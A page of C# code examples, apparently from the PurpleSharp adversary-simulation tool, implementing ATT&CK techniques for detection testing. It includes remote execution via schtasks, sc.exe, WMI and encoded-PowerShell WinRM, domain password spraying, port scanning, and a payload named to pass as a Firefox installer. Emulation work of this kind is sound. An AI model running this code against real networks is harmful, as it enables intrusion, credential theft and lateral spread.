Esempio n. 1
0
        public static void NetworkShareEnumerationCmdRemote(PlaybookTask playbook_task, string log)
        {
            string currentPath = AppDomain.CurrentDomain.BaseDirectory;
            Logger logger      = new Logger(currentPath + log);

            logger.SimulationHeader("T1135");
            logger.TimestampInfo("Using the command line to execute the technique");
            try
            {
                List <Computer> target_hosts = Targets.GetHostTargets(playbook_task, logger);
                if (playbook_task.task_sleep > 0)
                {
                    logger.TimestampInfo(String.Format("Sleeping {0} seconds between each network scan", playbook_task.task_sleep));
                }
                foreach (Computer computer in target_hosts)
                {
                    ExecutionHelper.StartProcessApi("", String.Format("net view \\\\{0}", computer.IPv4), logger);
                }
                logger.SimulationFinished();
            }
            catch (Exception ex)
            {
                logger.SimulationFailed(ex);
            }
        }
Esempio n. 2
0
        public static void CreateRemoteScheduledTaskCmdline(Computer computer, PlaybookTask playbook_task, Logger logger)
        {
            string target = "";

            if (!computer.Fqdn.Equals(""))
            {
                target = computer.Fqdn;
            }
            else if (!computer.ComputerName.Equals(""))
            {
                target = computer.ComputerName;
            }
            else
            {
                target = computer.IPv4;
            }

            string createTask = string.Format(@"/create /s {0} /sc ONCE /st 13:30 /tn ""{1}"" /tr {2} /rl HIGHEST /ru SYSTEM", target, playbook_task.taskName, playbook_task.taskPath);
            string runTask    = string.Format(@"/run /s {0} /tn ""{1}""", target, playbook_task.taskName);;
            string deleteTask = string.Format(@"/delete /s {0} /tn ""{1}"" /F", target, playbook_task.taskName);
            string results    = ExecutionHelper.StartProcessNET("schtasks.exe", createTask, logger);

            if (!results.Contains("Access is denied"))
            {
                ExecutionHelper.StartProcessNET("schtasks.exe", runTask, logger);
                if (playbook_task.cleanup)
                {
                    ExecutionHelper.StartProcessNET("schtasks.exe", deleteTask, logger);
                }
            }
            else
            {
                throw new Exception();
            }
        }
Esempio n. 3
0
        public static void WmiRemoteCodeExecutionCmdline(Computer computer, PlaybookTask playbook_task, Logger logger)
        {
            string target = "";

            if (!computer.Fqdn.Equals(""))
            {
                target = computer.Fqdn;
            }
            else if (!computer.ComputerName.Equals(""))
            {
                target = computer.ComputerName;
            }
            else
            {
                target = computer.IPv4;
            }

            string startProcess = string.Format(@"/node:""{0}"" process call create ""{1}"" ", target, playbook_task.command);

            string results = ExecutionHelper.StartProcessNET("wmic.exe", startProcess, logger);

            if (results.Contains("Access is denied"))
            {
                throw new Exception();
            }
        }
Esempio n. 4
0
        public static void WinRMCodeExecutionPowerShell(Computer computer, PlaybookTask playbook_task, Logger logger)
        {
            string target = "";

            if (!computer.Fqdn.Equals(""))
            {
                target = computer.Fqdn;
            }
            else if (!computer.ComputerName.Equals(""))
            {
                target = computer.ComputerName;
            }
            else
            {
                target = computer.IPv4;
            }

            string cleanPws = String.Format("Invoke-Command -ComputerName {0} -ScriptBlock {{ {1} }}", target, playbook_task.command);

            logger.TimestampInfo(String.Format("Using plaintext PowerShell command: {0}", cleanPws));
            var    plainTextBytes = System.Text.Encoding.Unicode.GetBytes(cleanPws);
            string results        = ExecutionHelper.StartProcessNET("powershell.exe", String.Format("-enc {0}", Convert.ToBase64String(plainTextBytes)), logger);

            if (results.Contains("AccessDenied"))
            {
                throw new Exception();
            }
        }
Esempio n. 5
0
        public static void WinRMCodeExecutionNET(Computer computer, PlaybookTask playbook_task, Logger logger)
        {
            string target = "";

            if (!computer.Fqdn.Equals(""))
            {
                target = computer.Fqdn;
            }
            else if (!computer.ComputerName.Equals(""))
            {
                target = computer.ComputerName;
            }
            else
            {
                target = computer.IPv4;
            }

            try
            {
                var connectTo = new Uri(String.Format("http://{0}:5985/wsman", target));
                logger.TimestampInfo(String.Format("Connecting to http://{0}:5985/wsman", target));
                var connection = new WSManConnectionInfo(connectTo);
                var runspace   = RunspaceFactory.CreateRunspace(connection);
                runspace.Open();
                using (var powershell = PowerShell.Create())
                {
                    powershell.Runspace = runspace;
                    powershell.AddScript(playbook_task.command);
                    var results = powershell.Invoke();
                    runspace.Close();
                    logger.TimestampInfo(String.Format("Successfully executed {0} using WinRM on {1}", playbook_task.command, computer.ComputerName));

                    /*
                     * Console.WriteLine("Return command ");
                     * foreach (var obj in results.Where(o => o != null))
                     * {
                     *  Console.WriteLine("\t" + obj);
                     * }
                     */
                }
            }
            catch (Exception ex)
            {
                if (ex.Message.Contains("Access is denied"))
                {
                    logger.TimestampInfo(String.Format("Failed to start a process using WinRM on {0}. (Access Denied)", computer.Fqdn));
                    throw new Exception();
                }
                else if (ex.GetType().ToString().Contains("PSRemotingTransportException"))
                {
                    logger.TimestampInfo(String.Format("Failed to start a process using WinRM on {0}. (Connection Issues)", computer.Fqdn));
                    throw new Exception();
                }
                else
                {
                    logger.TimestampInfo(String.Format("Failed to start a process using WinRM on {0}. {1}", computer.Fqdn, ex.GetType()));
                    throw new Exception();
                }
            }
        }
Esempio n. 6
0
        public static void DomaiGroupDiscoveryLdap(PlaybookTask playbook_task, string log)
        {
            string currentPath = AppDomain.CurrentDomain.BaseDirectory;

            Lib.Logger logger = new Lib.Logger(currentPath + log);
            logger.SimulationHeader("T1069.002");
            logger.TimestampInfo("Using LDAP to execute technique");
            try
            {
                if (playbook_task.groups.Length > 0)
                {
                    foreach (string group in playbook_task.groups)
                    {
                        logger.TimestampInfo(String.Format("Querying LDAP for members of '{0}'", group));
                        DiscoveryHelper.LdapQueryForObjects(logger, 2, "", group);
                    }
                    logger.SimulationFinished();
                }
                else
                {
                    logger.TimestampInfo("Querying LDAP for all groups");
                    DiscoveryHelper.LdapQueryForObjects(logger, 2);
                    logger.SimulationFinished();
                }
            }
            catch (Exception ex)
            {
                logger.SimulationFailed(ex);
            }
        }
Esempio n. 7
0
        // From https://stackoverflow.com/questions/23481394/programmatically-install-windows-service-on-remote-machine
        // and https://stackoverflow.com/questions/37983453/how-to-deploy-windows-service-on-remote-system-using-c-sharp-programatically

        public static void CreateRemoteServiceCmdline(Computer computer, PlaybookTask playbook_task, Logger logger)
        {
            string target = "";

            if (!computer.Fqdn.Equals(""))
            {
                target = computer.Fqdn;
            }
            else if (!computer.ComputerName.Equals(""))
            {
                target = computer.ComputerName;
            }
            else
            {
                target = computer.IPv4;
            }

            string createService = string.Format(@"\\{0} create ""{1}"" binpath= ""{2}""", target, playbook_task.serviceName, playbook_task.servicePath);
            string runService    = string.Format(@"\\{0} start ""{1}""", target, playbook_task.serviceName);;
            string deleteService = string.Format(@"\\{0} delete ""{1}""", target, playbook_task.serviceName);
            string results       = ExecutionHelper.StartProcessNET("sc.exe", createService, logger);

            if (!results.Contains("Access is denied"))
            {
                ExecutionHelper.StartProcessNET("sc.exe", runService, logger);
                if (playbook_task.cleanup)
                {
                    ExecutionHelper.StartProcessNET("sc.exe", deleteService, logger);
                }
            }
            else
            {
                throw new Exception();
            }
        }
Esempio n. 8
0
        public static void DomainGroupDiscoveryPowerShell(PlaybookTask playbook_task, string log)
        {
            string currentPath = AppDomain.CurrentDomain.BaseDirectory;
            Logger logger      = new Logger(currentPath + log);

            logger.SimulationHeader("T1069.002");
            logger.TimestampInfo("Using PowerShell to execute the technique");
            try
            {
                if (playbook_task.groups.Length > 0)
                {
                    foreach (string group in playbook_task.groups)
                    {
                        string cleanPws = String.Format("Get-AdGroup -Filter {{Name -like '{0}'}} | Get-ADGroupMember | Select SamAccountName", group);
                        logger.TimestampInfo(String.Format("Using plaintext PowerShell command: {0}", cleanPws));
                        var plainTextBytes = System.Text.Encoding.Unicode.GetBytes(cleanPws);
                        //ExecutionHelper.StartProcessApi("", String.Format("powershell.exe -enc {0}", Convert.ToBase64String(plainTextBytes)), logger);
                        ExecutionHelper.StartProcessNET("powershell.exe", String.Format("-enc {0}", Convert.ToBase64String(plainTextBytes)), logger);
                    }
                    logger.SimulationFinished();
                }
                else
                {
                    string cleanPws = String.Format("Get-AdGroup -Filter {{Name -like 'Domain Admins'}} | Get-ADGroupMember | Select SamAccountName");
                    logger.TimestampInfo(String.Format("Using plaintext PowerShell command: {0}", cleanPws));
                    var plainTextBytes = System.Text.Encoding.Unicode.GetBytes(cleanPws);
                    ExecutionHelper.StartProcessApi("", String.Format("powershell.exe -enc {0}", Convert.ToBase64String(plainTextBytes)), logger);
                    logger.SimulationFinished();
                }
            }
            catch (Exception ex)
            {
                logger.SimulationFailed(ex);
            }
        }
Esempio n. 9
0
        public static void DomainGroupDiscoveryCmd(PlaybookTask playbook_task, string log)
        {
            string currentPath = AppDomain.CurrentDomain.BaseDirectory;
            Logger logger      = new Logger(currentPath + log);

            logger.SimulationHeader("T1069.002");
            logger.TimestampInfo("Using the command line to execute technique");
            try
            {
                if (playbook_task.groups.Length > 0)
                {
                    foreach (string group in playbook_task.groups)
                    {
                        ExecutionHelper.StartProcessNET("net.exe", String.Format("group \"{0}\" /domain", group), logger);
                        //ExecutionHelper.StartProcessApi("", String.Format("net group \"{0}\" /domain", group), logger);
                    }
                    logger.SimulationFinished();
                }
                else
                {
                    ExecutionHelper.StartProcessNET("net.exe", String.Format("group /domain"), logger);
                    //ExecutionHelper.StartProcessApi("", "net group /domain", logger);
                    logger.SimulationFinished();
                }
            }
            catch (Exception ex)
            {
                logger.SimulationFailed(ex);
            }
        }
Esempio n. 10
0
        static public void CreateRemoteServiceOnHosts(PlaybookTask playbook_task, string log)
        {
            string currentPath = AppDomain.CurrentDomain.BaseDirectory;
            Logger logger      = new Logger(currentPath + log);

            logger.SimulationHeader("T1021.002");
            if (playbook_task.variation == 1)
            {
                logger.TimestampInfo("Using sc.exe to execute this technique against remote hosts");
            }
            else if (playbook_task.variation == 2)
            {
                logger.TimestampInfo("Using the Win32 API CreateService function to execute this technique against remote hosts");
            }

            List <Computer> host_targets = new List <Computer>();
            List <Task>     tasklist     = new List <Task>();


            if (playbook_task.serviceName.Equals("random"))
            {
                string chars  = "ABCDEFGHIJKLMNOPQRSTUVWXYZ123456789".ToLower();
                Random random = new Random();
                logger.TimestampInfo("Using random Service Name");
                playbook_task.serviceName = new string(Enumerable.Repeat(chars, 8).Select(s => s[random.Next(s.Length)]).ToArray());
            }
            try
            {
                host_targets = Targets.GetHostTargets(playbook_task, logger);
                foreach (Computer computer in host_targets)
                {
                    Computer temp = computer;
                    if (!computer.ComputerName.ToUpper().Contains(Environment.MachineName.ToUpper()))
                    {
                        tasklist.Add(Task.Factory.StartNew(() =>
                        {
                            if (playbook_task.variation == 1)
                            {
                                LateralMovementHelper.CreateRemoteServiceCmdline(temp, playbook_task, logger);
                            }
                            else if (playbook_task.variation == 2)
                            {
                                LateralMovementHelper.CreateRemoteServiceApi(temp, playbook_task, logger);
                            }
                        }));
                        if (playbook_task.task_sleep > 0)
                        {
                            logger.TimestampInfo(String.Format("Sleeping {0} seconds between attempt", playbook_task.task_sleep));
                        }
                    }
                }
                Task.WaitAll(tasklist.ToArray());
                logger.SimulationFinished();
            }
            catch (Exception ex)
            {
                logger.SimulationFailed(ex);
            }
        }
Esempio n. 11
0
        static public void WinRmCodeExec(PlaybookTask playbook_task, string log)
        {
            string currentPath = AppDomain.CurrentDomain.BaseDirectory;
            Logger logger      = new Logger(currentPath + log);

            logger.SimulationHeader("T1021.006");
            if (playbook_task.variation == 1)
            {
                logger.TimestampInfo("Using powershell.exe to execute this technique against remote hosts");
            }
            else if (playbook_task.variation == 2)
            {
                logger.TimestampInfo("Using the System.Management.Automation .NET namespace to execute this technique");
            }

            List <Computer> host_targets = new List <Computer>();
            List <Task>     tasklist     = new List <Task>();

            try
            {
                host_targets = Targets.GetHostTargets(playbook_task, logger);

                foreach (Computer computer in host_targets)
                {
                    Computer temp = computer;
                    if (!computer.Fqdn.ToUpper().Contains(Environment.MachineName.ToUpper()))
                    {
                        tasklist.Add(Task.Factory.StartNew(() =>
                        {
                            if (playbook_task.variation == 1)
                            {
                                LateralMovementHelper.WinRMCodeExecutionPowerShell(temp, playbook_task, logger);
                            }
                            else if (playbook_task.variation == 2)
                            {
                                LateralMovementHelper.WinRMCodeExecutionNET(temp, playbook_task, logger);
                            }
                        }));
                        if (playbook_task.task_sleep > 0)
                        {
                            logger.TimestampInfo(String.Format("Sleeping {0} seconds between attempt", playbook_task.task_sleep));
                        }
                    }
                }
                Task.WaitAll(tasklist.ToArray());
                logger.SimulationFinished();
            }
            catch (Exception ex)
            {
                logger.SimulationFailed(ex);
            }
        }
Esempio n. 12
0
        public static void LocalDomainPasswordSpray(PlaybookTask playbook_task, string log)
        {
            string currentPath = AppDomain.CurrentDomain.BaseDirectory;

            Lib.Logger logger = new Logger(currentPath + log);
            logger.SimulationHeader("T1110.003");
            logger.TimestampInfo(String.Format("Local Domain Brute Force using the LogonUser Win32 API function"));
            logger.TimestampInfo(String.Format("Using {0}", playbook_task.protocol));
            try
            {
                List <User> usertargets = Targets.GetUserTargets(playbook_task, logger);

                if (playbook_task.task_sleep > 0)
                {
                    logger.TimestampInfo(String.Format("Sleeping {0} seconds between attempt", playbook_task.task_sleep));
                }
                String domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName;
                //if (playbook_task.user_target_type == 6) domain = ".";

                foreach (var user in usertargets)
                {
                    if (playbook_task.protocol.ToUpper().Equals("KERBEROS"))
                    {
                        CredAccessHelper.LogonUser(user.UserName, domain, playbook_task.spray_password, 2, 0, logger);
                        if (playbook_task.task_sleep > 0)
                        {
                            Thread.Sleep(playbook_task.task_sleep * 1000);
                        }
                    }
                    else
                    {
                        CredAccessHelper.LogonUser(user.UserName, domain, playbook_task.spray_password, 2, 2, logger);
                        if (playbook_task.task_sleep > 0)
                        {
                            Thread.Sleep(playbook_task.task_sleep * 1000);
                        }
                    }
                }
                logger.SimulationFinished();
            }
            catch (Exception ex)
            {
                logger.SimulationFailed(ex);
            }
        }
Esempio n. 13
0
        public static void NetworkServiceDiscovery(PlaybookTask playbook_task, string log)
        {
            string currentPath = AppDomain.CurrentDomain.BaseDirectory;
            Logger logger      = new Logger(currentPath + log);

            logger.SimulationHeader("T1046");
            logger.TimestampInfo("Using the System.Net.Sockets .NET namespace to execute this technique");

            try
            {
                List <Task>     tasklist     = new List <Task>();
                List <Computer> target_hosts = Targets.GetHostTargets(playbook_task, logger);
                //logger.TimestampInfo(String.Format("Obtained {0} target computers for the scan", target_hosts.Count));
                if (playbook_task.task_sleep > 0)
                {
                    logger.TimestampInfo(String.Format("Sleeping {0} seconds between each network scan", playbook_task.task_sleep));
                }
                foreach (Computer computer in target_hosts)
                {
                    //if (!computer.Fqdn.ToUpper().Contains(Environment.MachineName.ToUpper()))
                    //{
                    Computer temp     = computer;
                    TimeSpan interval = TimeSpan.FromSeconds(5);

                    tasklist.Add(Task.Factory.StartNew(() =>
                    {
                        logger.TimestampInfo(String.Format("Starting port scan against {0} ({1})", temp.ComputerName, temp.IPv4));
                        DiscoveryHelper.PortScan(temp, interval, playbook_task.ports, logger);
                    }));
                    if (playbook_task.task_sleep > 0)
                    {
                        Thread.Sleep(playbook_task.task_sleep * 1000);
                    }

                    //}
                }
                Task.WaitAll(tasklist.ToArray());
                logger.SimulationFinished();
            }
            catch (Exception ex)
            {
                logger.SimulationFailed(ex);
            }
        }
Esempio n. 14
0
        static public void ModifyRemoteServiceOnHosts(PlaybookTask playbook_task, string log)
        {
            string currentPath = AppDomain.CurrentDomain.BaseDirectory;
            Logger logger      = new Logger(currentPath + log);

            logger.SimulationHeader("T1021.002");
            logger.TimestampInfo("Using the Win32 API CreateService function to execute this technique against remote hosts");

            List <Computer> host_targets = new List <Computer>();
            List <Task>     tasklist     = new List <Task>();

            try
            {
                host_targets = Targets.GetHostTargets(playbook_task, logger);

                foreach (Computer computer in host_targets)
                {
                    Computer temp = computer;
                    if (!computer.ComputerName.ToUpper().Contains(Environment.MachineName.ToUpper()))
                    {
                        //LateralMovementHelper.ModifyRemoteServiceApi(temp, playbook_task, logger);

                        tasklist.Add(Task.Factory.StartNew(() =>
                        {
                            LateralMovementHelper.ModifyRemoteServiceApi(temp, playbook_task, logger);
                        }));

                        if (playbook_task.task_sleep > 0)
                        {
                            logger.TimestampInfo(String.Format("Sleeping {0} seconds between attempt", playbook_task.task_sleep));
                        }
                    }
                }
                Task.WaitAll(tasklist.ToArray());
                logger.SimulationFinished();
            }
            catch (Exception ex)
            {
                logger.SimulationFailed(ex);
            }
        }
Esempio n. 15
0
        public static void NetworkShareEnumerationApiRemote(PlaybookTask playbook_task, string log)
        {
            string currentPath = AppDomain.CurrentDomain.BaseDirectory;
            Logger logger      = new Logger(currentPath + log);

            logger.SimulationHeader("T1135");
            logger.TimestampInfo("Using the Win32 API NetShareEnum function to execute this technique");

            try
            {
                //List<Computer> targetcomputers = Lib.Targets.GetHostTargets_old(computertype, nhosts, logger);
                List <Task>     tasklist     = new List <Task>();
                List <Computer> target_hosts = Targets.GetHostTargets(playbook_task, logger);
                if (playbook_task.task_sleep > 0)
                {
                    logger.TimestampInfo(String.Format("Sleeping {0} seconds between each enumeration attempt", playbook_task.task_sleep));
                }
                foreach (Computer computer in target_hosts)
                {
                    if (!computer.Fqdn.ToUpper().Contains(Environment.MachineName.ToUpper()))
                    {
                        tasklist.Add(Task.Factory.StartNew(() =>
                        {
                            DiscoveryHelper.ShareEnum(computer, logger);
                        }));
                        if (playbook_task.task_sleep > 0)
                        {
                            Thread.Sleep(playbook_task.task_sleep * 1000);
                        }
                    }
                }
                Task.WaitAll(tasklist.ToArray());
                logger.SimulationFinished();
            }
            catch (Exception ex)
            {
                logger.SimulationFailed(ex);
            }
        }
Esempio n. 16
0
        public static void WmiRemoteCodeExecutionNET(Computer computer, PlaybookTask playbook_task, Logger logger)
        {
            string target = "";

            if (!computer.Fqdn.Equals(""))
            {
                target = computer.Fqdn;
            }
            else if (!computer.ComputerName.Equals(""))
            {
                target = computer.ComputerName;
            }
            else
            {
                target = computer.IPv4;
            }
            try
            {
                ConnectionOptions connectoptions = new ConnectionOptions();

                var processToRun = new[] { playbook_task.command };
                var wmiScope     = new ManagementScope(String.Format("\\\\{0}\\root\\cimv2", target), connectoptions);
                var wmiProcess   = new ManagementClass(wmiScope, new ManagementPath("Win32_Process"), new ObjectGetOptions());
                wmiProcess.InvokeMethod("Create", processToRun);
                logger.TimestampInfo(String.Format("Successfully executed {0} using WMI's Win32_Process on {1}", playbook_task.command, target));
            }
            catch (Exception ex)
            {
                //DateTime dtime = DateTime.Now;
                if (ex.Message.Contains("ACCESSDENIED"))
                {
                    logger.TimestampInfo(String.Format("Failed to start a process using WMI Win32_Create on {0}. (Access Denied)", target));
                }
                else
                {
                    logger.TimestampInfo(String.Format("Failed to start a process using WMI Win32_Create on {0}. {1}", target, ex.GetType()));
                }
            }
        }
Esempio n. 17
0
        public static void Main(string[] args)
        {
            bool   cleanup, opsec, verbose, scoutservice, simservice, newchild, scout, remote, navigator;
            string techniques, rhost, domain, ruser, rpwd, scoutfpath, simrpath, log, dc, pb_file, nav_action, navfile, scout_action, scout_np, simulator_np;
            int    pbsleep, tsleep, nusers, nhosts;

            pbsleep    = tsleep = 0;
            nusers     = nhosts = 5;
            opsec      = cleanup = true;
            verbose    = scoutservice = simservice = newchild = scout = remote = navigator = false;
            techniques = rhost = domain = ruser = rpwd = dc = pb_file = nav_action = navfile = scout_action = "";

            scoutfpath   = "C:\\Windows\\Temp\\Scout.exe";
            simrpath     = "Downloads\\Firefox_Installer.exe";
            log          = "0001.dat";
            scout_np     = "scoutpipe";
            simulator_np = "simpipe";

            //should move this to sqlite or a JSON file.
            string[] execution            = new string[] { "T1053.005", "T1059.003", "T1059.005", "T1059.007", "T1059.001", "T1569.002" };
            string[] persistence          = new string[] { "T1053.005", "T1136.001", "T1543.003", "T1547.001", "T1546.003", "T1197" };
            string[] privelege_escalation = new string[] { "T1053.005", "T1543.003", "T1547.001", "T1546.003", "T1055.002", "T1055.004" };
            string[] defense_evasion      = new string[] { "T1218.010", "T1218.005", "T1218.003", "T1218.011", "T1070.001", "T1220", "T1055.002", "T1055.004", "T1140", "T1197", "T1218.009", "T1218.004" };
            string[] credential_access    = new string[] { "T1110.003", "T1558.003", "T1003.001" };
            string[] discovery            = new string[] { "T1135", "T1046", "T1087.001", "T1087.002", "T1007", "T1033", "T1049", "T1016", "T1083" };
            string[] lateral_movement     = new string[] { "T1021", "T1021.006", "T1047" };

            string[] supported_techniques = execution.Union(persistence).Union(privelege_escalation).Union(defense_evasion).Union(credential_access).Union(discovery).Union(lateral_movement).ToArray();


            if (args.Length == 0)
            {
                Usage();
                return;
            }

            for (int i = 0; i < args.Length; i++)
            {
                try
                {
                    switch (args[i])
                    {
                    //// User Parameters ////
                    case "/pb":
                        pb_file = args[i + 1];
                        break;

                    case "/rhost":
                        rhost  = args[i + 1];
                        remote = true;
                        break;

                    case "/ruser":
                        ruser = args[i + 1];
                        break;

                    case "/d":
                        domain = args[i + 1];
                        break;

                    case "/rpwd":
                        rpwd = args[i + 1];
                        break;

                    case "/dc":
                        dc = args[i + 1];
                        break;

                    case "/t":
                        techniques = args[i + 1];
                        break;

                    case "/scoutpath":
                        scoutfpath = args[i + 1];
                        break;

                    case "/simpath":
                        simrpath = args[i + 1];
                        break;

                    case "/pbsleep":
                        pbsleep = Int32.Parse(args[i + 1]);
                        break;

                    case "/tsleep":
                        tsleep = Int32.Parse(args[i + 1]);
                        break;

                    case "/noopsec":
                        opsec = false;
                        break;

                    case "/v":
                        verbose = true;
                        break;

                    case "/nocleanup":
                        cleanup = false;
                        break;

                    case "/scout":
                        scout        = true;
                        scout_action = args[i + 1];
                        break;

                    case "/navigator":
                        navigator  = true;
                        nav_action = args[i + 1];
                        if (nav_action.Equals("import"))
                        {
                            navfile = args[i + 2];
                        }
                        break;

                    //// Internal Parameters ////
                    case "/o":
                        scoutservice = true;
                        break;

                    case "/s":
                        simservice = true;
                        break;

                    case "/n":
                        newchild = true;
                        break;

                    default:
                        break;
                    }
                }
                catch
                {
                    Console.WriteLine("[*] Error parsing parameters :( ");
                    Console.WriteLine("[*] Exiting");
                    return;
                }
            }

            //// Handling Internal Parameters ////

            if (newchild)
            {
                const uint NORMAL_PRIORITY_CLASS  = 0x0020;
                Structs.PROCESS_INFORMATION pInfo = new Structs.PROCESS_INFORMATION();
                Structs.STARTUPINFO         sInfo = new Structs.STARTUPINFO();
                Structs.SECURITY_ATTRIBUTES pSec  = new Structs.SECURITY_ATTRIBUTES();
                Structs.SECURITY_ATTRIBUTES tSec  = new Structs.SECURITY_ATTRIBUTES();
                pSec.nLength = Marshal.SizeOf(pSec);
                tSec.nLength = Marshal.SizeOf(tSec);
                string currentbin = System.Reflection.Assembly.GetEntryAssembly().Location;
                //run the simulation agent
                WinAPI.CreateProcess(null, currentbin + " /s", ref pSec, ref tSec, false, NORMAL_PRIORITY_CLASS, IntPtr.Zero, null, ref sInfo, out pInfo);
                return;
            }
            if (scoutservice)
            {
                NamedPipes.RunScoutService(scout_np, simulator_np, log);
                return;
            }
            if (simservice)
            {
                string[] options = NamedPipes.RunSimulationService(simulator_np, log);
                ExecuteTechniques(options[0], nusers, nhosts, Int32.Parse(options[1]), Int32.Parse(options[2]), log, bool.Parse(options[3]));
                return;
            }

            //// Handling  User Parameters ////

            if (navigator)
            {
                if (nav_action.Equals("export"))
                {
                    try
                    {
                        Console.WriteLine("[+] PurpleSharp supports " + supported_techniques.Count() + " unique ATT&CK techniques.");
                        Console.WriteLine("[+] Generating an ATT&CK Navigator layer...");
                        Json.ExportAttackLayer(supported_techniques.Distinct().ToArray());
                        Console.WriteLine("[!] Open PurpleSharp.json on https://mitre-attack.github.io/attack-navigator");
                        return;
                    }
                    catch
                    {
                        Console.WriteLine("[!] Error generating JSON layer...");
                        Console.WriteLine("[!] Exitting...");
                        return;
                    }
                }
                else if (nav_action.Equals("import"))
                {
                    Console.WriteLine("[+] Loading {0}", navfile);
                    string         json  = File.ReadAllText(navfile);
                    NavigatorLayer layer = Json.ReadNavigatorLayer(json);
                    Console.WriteLine("[!] Loaded attack navigator '{0}'", layer.name);
                    Console.WriteLine("[+] Converting ATT&CK navigator Json...");
                    SimulationExercise engagement = Json.ConvertNavigatorToSimulationExercise(layer, supported_techniques.Distinct().ToArray());
                    Json.CreateSimulationExercise(engagement);
                    Console.WriteLine("[!] Done");
                    Console.WriteLine("[+] Open simulation.json");
                    return;
                }
                else
                {
                    Console.WriteLine("[!] Didnt recognize parameter...");
                    Console.WriteLine("[!] Exitting...");
                    return;
                }
            }
            if (scout && !scout_action.Equals(""))
            {
                if (!rhost.Equals("") && !domain.Equals("") && !ruser.Equals(""))
                {
                    if (rpwd == "")
                    {
                        Console.Write("Password for {0}\\{1}: ", domain, ruser);
                        rpwd = Utils.GetPassword();
                        Console.WriteLine();
                    }

                    if (!rhost.Equals("random"))
                    {
                        Scout(rhost, domain, ruser, rpwd, scoutfpath, log, scout_action, scout_np, verbose);
                        return;
                    }
                    else if (!dc.Equals(""))
                    {
                        List <Computer> targets = new List <Computer>();
                        targets = Ldap.GetADComputers(10, dc, ruser, rpwd);
                        if (targets.Count > 0)
                        {
                            Console.WriteLine("[+] Obtained {0} possible targets.", targets.Count);
                            var random = new Random();
                            int index  = random.Next(targets.Count);
                            Console.WriteLine("[+] Picked Random host for simulation: " + targets[index].Fqdn);
                            Scout(targets[index].ComputerName, domain, ruser, rpwd, scoutfpath, log, scout_action, scout_np, verbose);
                            return;
                        }
                        else
                        {
                            Console.WriteLine("[!] Could not obtain targets for the simulation");
                            return;
                        }
                    }
                    else
                    {
                        Console.WriteLine("[*] Missing parameters :( ");
                        Console.WriteLine("[*] Exiting");
                        return;
                    }
                }
                else
                {
                    Console.WriteLine("[*] Missing parameters :( ");
                    Console.WriteLine("[*] Exiting");
                    return;
                }
            }
            if (!pb_file.Equals(""))
            {
                string             json       = File.ReadAllText(pb_file);
                SimulationExercise engagement = Json.ReadSimulationPlaybook(json);

                if (engagement != null)
                {
                    Console.Write("Submit Password for {0}\\{1}: ", engagement.domain, engagement.username);
                    string pass = Utils.GetPassword();
                    Console.WriteLine("[+] PurpleSharp will execute {0} playbook(s)", engagement.playbooks.Count);

                    SimulationExerciseResult engagementResults = new SimulationExerciseResult();
                    engagementResults.playbookresults = new List <SimulationPlaybookResult>();
                    SimulationPlaybook lastPlaybook = engagement.playbooks.Last();

                    foreach (SimulationPlaybook playbook in engagement.playbooks)
                    {
                        SimulationPlaybookResult playbookResults = new SimulationPlaybookResult();
                        playbookResults.taskresults = new List <PlaybookTaskResult>();
                        playbookResults.name        = playbook.name;
                        playbookResults.host        = playbook.host;
                        Console.WriteLine("[+] Starting Execution of {0}", playbook.name);

                        PlaybookTask  lastTask = playbook.tasks.Last();
                        List <string> techs    = new List <string>();
                        foreach (PlaybookTask task in playbook.tasks)
                        {
                            techs.Add(task.technique);
                        }
                        string techs2 = String.Join(",", techs);
                        if (playbook.host.Equals("random"))
                        {
                            List <Computer> targets = Ldap.GetADComputers(10, engagement.dc, engagement.username, pass);
                            if (targets.Count > 0)
                            {
                                Console.WriteLine("[+] Obtained {0} possible targets.", targets.Count);
                                var random = new Random();
                                int index  = random.Next(targets.Count);
                                Console.WriteLine("[+] Picked random host for simulation: " + targets[index].Fqdn);
                                Console.WriteLine("[+] Executing techniques {0} against {1}", techs2, targets[index].Fqdn);
                                playbookResults      = ExecuteRemoteTechniquesJson(targets[index].Fqdn, engagement.domain, engagement.username, pass, techs2, playbook.pbsleep, playbook.tsleep, playbook.scoutfpath, scout_np, playbook.simrpath, log, true, false);
                                playbookResults.name = playbook.name;
                            }
                            else
                            {
                                Console.WriteLine("[!] Could not obtain targets for the simulation");
                            }
                        }
                        else
                        {
                            Console.WriteLine("[+] Executing techniques {0} against {1}", techs2, playbook.host);
                            playbookResults      = ExecuteRemoteTechniquesJson(playbook.host, engagement.domain, engagement.username, pass, techs2, playbook.pbsleep, playbook.tsleep, playbook.scoutfpath, scout_np, playbook.simrpath, log, true, false);
                            playbookResults.name = playbook.name;
                        }
                        if (engagement.sleep > 0 && !playbook.Equals(lastPlaybook))
                        {
                            Console.WriteLine();
                            Console.WriteLine("[+] Sleeping {0} minutes until next playbook...", engagement.sleep);
                            Thread.Sleep(1000 * engagement.sleep * 60);
                        }
                        engagementResults.playbookresults.Add(playbookResults);
                    }

                    Console.WriteLine("Writting JSON results...");
                    string output_file = pb_file.Replace(".json", "") + "_results.json";
                    Json.WriteJsonPlaybookResults(engagementResults, output_file);
                    Console.WriteLine("DONE. Open " + output_file);
                    Console.WriteLine();
                    return;
                }
                else
                {
                    Console.WriteLine("[!] Could not parse JSON input.");
                    Console.WriteLine("[*] Exiting");
                    return;
                }
            }
            if (remote)
            {
                if (!rhost.Equals("") && !domain.Equals("") && !ruser.Equals("") && !techniques.Equals(""))
                {
                    if (rpwd == "")
                    {
                        Console.Write("Password for {0}\\{1}: ", domain, ruser);
                        rpwd = Utils.GetPassword();
                        Console.WriteLine();
                    }
                    if (!rhost.Equals("random"))
                    {
                        ExecuteRemoteTechniques(rhost, domain, ruser, rpwd, techniques, pbsleep, tsleep, scoutfpath, scout_np, simrpath, simulator_np, log, opsec, verbose, cleanup);
                        return;
                    }
                    else if (!dc.Equals(""))
                    {
                        List <Computer> targets = new List <Computer>();
                        targets = Ldap.GetADComputers(10, dc, ruser, rpwd);
                        if (targets.Count > 0)
                        {
                            Console.WriteLine("[+] Obtained {0} possible targets.", targets.Count);
                            var random = new Random();
                            int index  = random.Next(targets.Count);
                            Console.WriteLine("[+] Picked Random host for simulation: " + targets[index].Fqdn);
                            ExecuteRemoteTechniques(targets[index].Fqdn, domain, ruser, rpwd, techniques, pbsleep, tsleep, scoutfpath, scout_np, simrpath, simulator_np, log, opsec, verbose, cleanup);
                            return;
                        }
                        else
                        {
                            Console.WriteLine("[!] Could not obtain targets for the simulation");
                            return;
                        }
                    }
                    else
                    {
